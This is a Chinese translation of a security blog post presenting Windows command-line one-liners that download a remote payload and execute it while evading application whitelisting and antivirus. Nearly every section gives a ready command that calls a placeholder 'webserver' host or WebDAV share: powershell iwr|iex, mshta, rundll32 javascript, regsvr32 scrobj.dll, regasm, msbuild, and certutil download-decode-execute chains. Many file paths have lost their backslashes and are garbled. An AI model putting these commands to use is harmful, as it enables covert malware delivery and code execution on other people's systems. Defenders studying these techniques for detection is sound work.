Windows命令行下载远程payload及执行任意代码的几种方法

鱼丸cu面 系统安全 2017年11月27日发布
Favorite收藏

导语:本文主要介绍了Windows命令行下载远程payload及执行任意代码的几种方法。

0x00 除了使用powershell,还有其他方式远程执行payload么?

最近一段时间,使用DDE执行任意命令控制目标操作系统的方法已经逐渐成为一种趋势。在这一背景下,我不断地在思考一个问题,除了著名的powershell外,还有其他的命令行方式执行payload代码么? 想了下,要想满足目前的需求,那么这类命令行工具需要满足一下几个条件:

· 可以执行任意代码:能够弹计算器确实很棒,但从攻击者的角度来讲,并不能满足需求

· 可以在一个远程服务器上下载payload:因为很多恶意软件、RAT、代理等并不能通过单独的一行命令实现

· 可以实现代理:目前来讲很多公司都使用代理的方式对外传输流量

· 尽可能使用标准化、广泛部署的Microsoft二进制文件:目的是让这个命令行工具可以不加修改在较多的系统上执行

· EDR友好

· 仅仅在内存中驻留(而不用写入硬盘):因为如果恶意代码写入硬盘中的话,很容易被杀毒软件识别 此前,很多人已经做了大量关于应用程序白名单绕过的研究,特别是@subTee。最终我们找到了一个折中的方案:通过滥用Microsoft内置二进制文件执行任意代码。 需要注意一点,并不是所有的命令行工具都能满足以上所有的条件,特别是不能把payload写在硬盘上这一条,因为绝大多数情况下,下载回来的文件都会在本地保存一段时间。 当这个命令行工具从远程的服务器上下载payload,总结一下,一共有这3个步骤:

1. 命令本工具可以将HTTP URL作为一个参数传入

2. 命令行工具可以接收一个UNC路径(指向WebDAV服务器)

3. 命令行工具可以执行从远程服务器上下载回来的内联脚本 Windows 7和10举例来说,通过HTTP下载对象的本地缓存就是IE的本地缓存,存在于以下位置之一:

C:Users<username>AppDataLocalMicrosoftWindowsTemporary Internet Files    
C:Users<username>AppDataLocalMicrosoftWindowsINetCacheIE<subdir>

另一方面,通过指向WebDAV服务器UNC路径访问的文件将保存在WebDAV客户端本地缓存中,存放路径如下:

C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV

使用UNC路径指向托管有效内容的WebDAV服务器时,要记住一点,只有在WebClient服务启动后才能使用该路径。 如果该服务没有启动,为了让低权限的用户可以启动它,只需在命令行之前加上“pushd webdavserver & popd”即可。 在下面的所有场景中,我会提到哪个进程会产生网络通信,以及什么时候payload会被写在磁盘上。

0x01 Powershell

OK,先挑一个最有名气的方法来说把,方法很成熟,但是监控手段也会一样成熟。 一个大家都了解的代理友好的命令如下:

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http:
//webserver/payload.ps1')|iex"

在这一行命令中,执行网络通信的进程为:powershell.exe payload会写在硬盘上么?不会的!!!(至少我现在还不知道它写在了什么位置) 而且你也可以使用一些编码手段来绕过安全监测。 你也可以直接从WebDAV服务器调用执行payload代码:

powershell -exec bypass -f webdavserverfolderpayload.ps1

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV客户端本地缓存位置

0x03 CMD

当你使用cmd.exe执行一个批处理文件时,为什么会让事情变得更加复杂? 特别是当这个批处理文件不仅可以执行一系列的命令,而且还可以嵌入任何文件类型(脚本文件,可执行文件,以及任何其他你能想到的格式!)。 可以看一下我的Invoke-EmbedInBatch.ps1脚本(受到@xorrior研究成果的启发),而且可以很容易地删除任何二进制、DLL、脚本文件,项目地址在这里:https://github.com/Arno0x/PowerShellScripts 因此,当你把payload作为作为批处理文件时,请执行以下操作:

cmd.exe /k < webdavserverfolderbatchfile.txt

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV客户端本地缓存位置

0x04 Cscript/Wscript

通过Cscript/Wscript也是一种很常见的方式,这里提供一个思路,通过执行命令,在远程的服务器上下载payload。

cscript //E:jscript webdavserverfolderpayload.txt

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV客户端本地缓存位置

0x05 Mshta

Mshta与Cscript/Wscript属于统一家族,不同之处是其增加了一个执行内联脚本的能力,这个脚本会下载一个scriptlet作为payload执行:

mshta vbscript:
Close
(Execute("GetObject(""script:http://webserver/payload.sct"")"))

在这一行命令中,执行网络通信的进程为:mshta.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址) 这里还有一个更简单的方法,mshta可以接收一个URL作为参数来执行链接中的HTA文件,像下面这样:

mshta http:
//webserver/payload.hta

在这一行命令中,执行网络通信的进程为:mshta.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址) 再来一个,下面的命令也可以运行,同时其具有隐藏mshta.exe下载东西的优势:

mshta webdavserverfolderpayload.hta

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址)

0x06 Rundll32

Rundll32的话,有多种不同的利用方法。 第一种方法就是使用UNC路径去执行标准的DLL文件。

rundll32 webdavserverfolderpayload.dll,entrypoint

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址) Rundll32也可以调用一些内联的jscript代码:

rundll32.exe javascript:"..mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

在这一行命令中,执行网络通信的进程为:rundll32.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址)

0x07 Regasm/Regsvc

Regasm和Regsvc是@subTee发现的应用程序白名单绕过技术之一。 我们需要创建一个特定的DLL(可以用.Net/C#编写),开适当的接口,然后通过WebDAV调用它:

C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /u webdavserverfolderpayload.dll

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址)

0x08 Regsvr32

@subTee研究出来的另一种方法,这种方法需要与上面mshta略有不同的scriptlet。 第一种实现方式:

regsvr32 /u /n /s /i:http:
//webserver/payload.sct scrobj.dll

在这一行命令中,执行网络通信的进程为:regsvr32.exe payload写入磁盘的位置:IE local cache(IE本地缓存地址) 第二种方式(使用UNC/WebDAV):

regsvr32 /u /n /s /i:webdavserverfolderpayload.sct scrobj.dll

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址)

0x09 Msbuild

让我们继续讨论@subTee发现的这些.Net框架实用程序。 不要混合使用UNC路径和msbuild.exe(实际上也可以,但是看起来会很混乱),可以使用下面的小技巧,只使用msbuild.exe。

cmd /V /c "set MB="C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe" & !MB! /noautoresponse /preprocess webdavserverfolderpayload.xml > payload.xml & !MB! payload.xml"

在这一行命令中,执行网络通信的进程为:svchost.exe payload写入磁盘的位置:WebDAV client local cache(WebDAV客户端本地缓存地址) 稍后我们可以看到,可以使用其他方法下载文件到本地,然后使用msbuild.exe执行它。

0x0A 一些命令的组合技巧

事实上,在一些实战场景中,例如DDE,并不会限制我们只能执行一种命令,可以多种命令组合使用来达到我们的最终目的。 例如,下载payload可以用certutil.exe(感谢@subTee发现这种方式):

certutil -urlcache -split -f http:
//webserver/payload payload

现在在一行中将命令与InstallUtil.exe执行特定的DLL作为payload结合起来:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil /logfile= /LogToConsole=false /u payload.dll

也可以直接使用一个可执行文件:

certutil -urlcache -split -f http://webserver/payload.
b64 
payload.
b64 
& certutil -decode payload.
b64 
payload.exe & payload.exe

达到这个目的可能还有很多其他的方法,但是这些命令行可以完成这个工作,同时满足了我们在这篇文章开头提出的大部分条件! 这时候有同学可能就会提问了,为什么文章中没有提到bitsadmin工具作为下载payload的方法呢?很简单,因为这个工具不支持使用代理,所以我也就没介绍它。

0x0B payload源码举例

文章中提到的所有命令都使用了同一payload作为实验素材:

· 各种脚本(.sct),用于mshta、rundll32、regsvr32

· HTML 应用(.hta)

· MSBuild内联任务(.xml或.csproj)

· DLL用于InstallUtil或Regasm/Regsvc 可以参考这个地址获取更多的payload实例:https://github.com/redcanaryco/atomic-red-team 也可以使用Github上的GreatSCT项目来生成payload:https://github.com/GreatSCT/GreatSCT 

更多示例请参考:https://gist.github.com/Arno0x

本文翻译自:https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ ,如若转载,请注明原文地址: http://www.4hou.com/system/8661.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    aaa 2018-01-16 21:58

    排版是乱了吗,WindowsMicrosoft.NETFramework64v4.0.30319InstallUti ,一些反斜杠和空格都没了。希望小编能整理下,非常好的文章。

    aaa 2018-01-16 21:57

    排版是乱了吗,C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUti ,一些反斜杠和空格都没了。希望小编能整理下,非常好的文章。